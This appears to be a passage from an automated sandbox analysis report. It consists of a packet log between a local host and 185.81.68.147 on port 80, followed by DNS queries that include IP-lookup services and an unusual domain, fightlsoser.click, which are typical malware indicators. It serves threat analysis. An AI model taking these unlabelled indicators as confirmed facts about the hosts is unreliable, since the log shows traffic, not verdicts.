Dec 14, 2024 14:56:35.438344002 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.438400030 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.439465046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.439518929 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.439558029 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.440660000 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.440711021 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.440798998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.441843033 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.441900015 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.441952944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.443005085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.443067074 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.443137884 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.444222927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.444272995 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.444350004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.445370913 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.445426941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.445492029 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.446587086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.446650028 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.446759939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.447818995 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.447854996 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.447875977 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.448916912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.448971033 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.449045897 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.450088978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.450151920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.450222015 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.451266050 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.451338053 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.451396942 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.452461958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.452519894 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.452594042 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.453669071 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.453722954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.453782082 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.454839945 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.454895973 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.454967022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.456010103 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.456063986 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.456136942 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.457197905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.457298994 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.457328081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.458389044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.458450079 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.458523989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.459629059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.459681988 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.459754944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.460767031 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.460822105 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.460908890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.461952925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.462017059 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.462095022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.463135004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.463207006 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.463258028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.464571953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.464637995 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.464726925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.465785980 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.465864897 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.465898991 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.466701031 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.466758966 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.466840982 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.467869043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.467925072 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.468018055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.469027996 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.469085932 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.469166994 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.470249891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.470303059 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.470388889 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.471457005 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.471504927 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.471535921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.472589016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.472634077 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.472696066 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.473784924 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.473836899 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.473907948 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.474947929 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.474998951 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.475071907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.476237059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.476285934 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.476288080 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.477478981 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.477530956 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.477530956 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.478487015 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.478533030 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.478610039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.479676962 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.479732990 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.479809999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.480886936 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.480937004 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.481023073 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.482079983 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.482136965 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.482177973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.483227968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.483279943 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.483366966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.484456062 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.484519005 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.484652042 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.485537052 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.485595942 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.615699053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.615818977 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.616013050 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.616260052 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.616364002 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.616522074 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.617485046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.617623091 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.617682934 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.618669987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.618721962 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.618788004 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.619878054 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.619990110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.620049000 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.620992899 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.621078014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.621129990 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.622200012 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.622299910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.622401953 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.623359919 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.623456001 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.623508930 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.624567032 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.624700069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.624756098 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.626010895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.626111984 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.626163960 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.626972914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.627053022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.627100945 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.628288031 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.628366947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.628416061 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.629298925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.629357100 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.629405975 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.630641937 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.630727053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.630772114 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.631660938 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.631787062 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.631829977 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.632841110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.632910967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.632997036 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.633977890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.634099960 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.634157896 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.635168076 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.635294914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.635341883 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.636365891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.636496067 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.636552095 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.637553930 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.637664080 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.637717009 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.638736963 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.638849974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.638907909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.639919996 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.640038013 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.640089035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.641108990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.641233921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.641297102 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.642277956 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.642376900 CET	80	49888	185.81.68.147	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 14, 2024 14:56:38.801582098 CET	192.168.2.5	1.1.1.1	0xde12	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:39.268273115 CET	192.168.2.5	1.1.1.1	0x830d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.378259897 CET	192.168.2.5	1.1.1.1	0x9d1c	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.378473997 CET	192.168.2.5	1.1.1.1	0xbb59	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.588232994 CET	192.168.2.5	1.1.1.1	0x7ea1	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.594197989 CET	192.168.2.5	1.1.1.1	0xe938	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.595519066 CET	192.168.2.5	1.1.1.1	0x3a64	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.641113997 CET	192.168.2.5	1.1.1.1	0x4eec	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.660898924 CET	192.168.2.5	1.1.1.1	0x49c4	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.663461924 CET	192.168.2.5	1.1.1.1	0xc31	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.663927078 CET	192.168.2.5	1.1.1.1	0xb75d	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.735131979 CET	192.168.2.5	1.1.1.1	0x2781	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.736088991 CET	192.168.2.5	1.1.1.1	0x9359	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:56:59.751825094 CET	192.168.2.5	1.1.1.1	0x64d4	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:56:59.825566053 CET	192.168.2.5	1.1.1.1	0x9295	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 14, 2024 14:56:59.865000963 CET	192.168.2.5	1.1.1.1	0x4e27	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:56:59.918118000 CET	192.168.2.5	1.1.1.1	0x1316	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.016614914 CET	192.168.2.5	1.1.1.1	0xada4	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.030539989 CET	192.168.2.5	1.1.1.1	0x8b4f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.076832056 CET	192.168.2.5	1.1.1.1	0x8d5b	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:00.205358028 CET	192.168.2.5	1.1.1.1	0x41ea	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:00.206877947 CET	192.168.2.5	1.1.1.1	0xde0a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:00.215348005 CET	192.168.2.5	1.1.1.1	0x20fd	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.357330084 CET	192.168.2.5	1.1.1.1	0xbd8c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.452301979 CET	192.168.2.5	1.1.1.1	0xb848	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:00.509345055 CET	192.168.2.5	1.1.1.1	0x2610	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:00.592489004 CET	192.168.2.5	1.1.1.1	0xbb4b	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.648112059 CET	192.168.2.5	1.1.1.1	0x8f95	Standard query (0)	fightlsoser.click	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.654597998 CET	192.168.2.5	1.1.1.1	0x9c03	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.752342939 CET	192.168.2.5	1.1.1.1	0x39bd	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:00.792789936 CET	192.168.2.5	1.1.1.1	0x5211	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:00.820137024 CET	192.168.2.5	1.1.1.1	0xea32	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.820336103 CET	192.168.2.5	1.1.1.1	0x5881	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:00.822015047 CET	192.168.2.5	1.1.1.1	0xa1a2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.740139961 CET	192.168.2.5	1.1.1.1	0x3df7	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.740139961 CET	192.168.2.5	1.1.1.1	0xe224	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.740362883 CET	192.168.2.5	1.1.1.1	0x3cf3	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.885059118 CET	192.168.2.5	1.1.1.1	0x288f	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.885593891 CET	192.168.2.5	1.1.1.1	0x5101	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:02.886775017 CET	192.168.2.5	1.1.1.1	0x5077	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.048791885 CET	192.168.2.5	1.1.1.1	0xe066	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:03.064379930 CET	192.168.2.5	1.1.1.1	0x5695	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:03.095885992 CET	192.168.2.5	1.1.1.1	0x176c	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Dec 14, 2024 14:57:03.196868896 CET	192.168.2.5	1.1.1.1	0x69ee	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.203049898 CET	192.168.2.5	1.1.1.1	0x3ab0	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.351087093 CET	192.168.2.5	1.1.1.1	0xc7ed	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.359103918 CET	192.168.2.5	1.1.1.1	0x6ded	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.499268055 CET	192.168.2.5	1.1.1.1	0xe30a	Standard query (0)	twitter.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:03.550193071 CET	192.168.2.5	1.1.1.1	0x7a31	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.568711042 CET	192.168.2.5	1.1.1.1	0x545f	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:03.704041958 CET	192.168.2.5	1.1.1.1	0x6ff3	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:03.847170115 CET	192.168.2.5	1.1.1.1	0x84f6	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:09.030440092 CET	192.168.2.5	1.1.1.1	0x29ac	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:09.030550957 CET	192.168.2.5	1.1.1.1	0x385c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 14, 2024 14:57:11.121366024 CET	192.168.2.5	1.1.1.1	0xbc28	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:11.428687096 CET	192.168.2.5	1.1.1.1	0x517a	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:11.437190056 CET	192.168.2.5	1.1.1.1	0xba6c	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:11.437325954 CET	192.168.2.5	1.1.1.1	0xab74	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:11.672440052 CET	192.168.2.5	1.1.1.1	0xf264	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:13.700669050 CET	192.168.2.5	1.1.1.1	0xdacc	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:13.701648951 CET	192.168.2.5	1.1.1.1	0xe8e6	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:15.893398046 CET	192.168.2.5	1.1.1.1	0xc179	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:16.288182974 CET	192.168.2.5	1.1.1.1	0x8a5	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:16.288295984 CET	192.168.2.5	1.1.1.1	0x10c2	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 14, 2024 14:57:17.268939018 CET	192.168.2.5	1.1.1.1	0x5778	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:17.269046068 CET	192.168.2.5	1.1.1.1	0x4b8f	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 14, 2024 14:57:17.468663931 CET	192.168.2.5	1.1.1.1	0xb89e	Standard query (0)	twitter.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:17.468663931 CET	192.168.2.5	1.1.1.1	0x511f	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:19.932624102 CET	192.168.2.5	1.1.1.1	0x9caf	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:31.340150118 CET	192.168.2.5	1.1.1.1	0xa1fe	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 14, 2024 14:57:33.850162983 CET	192.168.2.5	1.1.1.1	0x7d92	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:40.712677002 CET	192.168.2.5	1.1.1.1	0x4fed	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 14, 2024 14:57:40.725029945 CET	192.168.2.5	1.1.1.1	0x46c4	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:40.757536888 CET	192.168.2.5	1.1.1.1	0x9f75	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:40.878046036 CET	192.168.2.5	1.1.1.1	0x4848	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:41.017618895 CET	192.168.2.5	1.1.1.1	0x8a28	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Dec 14, 2024 14:57:41.048392057 CET	192.168.2.5	1.1.1.1	0x9f75	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:41.066817999 CET	192.168.2.5	1.1.1.1	0x3061	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
